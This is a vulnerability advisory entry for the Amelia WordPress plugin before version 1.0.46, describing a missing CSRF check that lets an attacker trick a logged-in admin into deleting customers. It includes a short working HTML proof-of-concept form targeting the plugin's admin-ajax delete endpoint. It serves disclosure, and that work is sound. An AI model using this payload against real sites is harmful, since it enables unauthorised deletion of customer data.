WordPress Plugin Vulnerabilities
Amelia < 1.0.46 - Arbitrary Customer Deletion via CSRF
Description
The plugin does not have CSRF check in place when deleting customers, which could allow attackers to make a logged in admin delete arbitrary customers via a CSRF attack
Proof of Concept
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/customers/delete/1" method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html> Affects Plugins
Fixed in version 1.0.46
References
Classification
Miscellaneous
Original Researcher
Muhamad Hidayat
Submitter
muhamad hidayat
Verified
Yes
Timeline
Publicly Published
2022-02-23 (about 4 months ago)
Added
2022-02-23 (about 4 months ago)
Last Updated
2022-04-11 (about 2 months ago)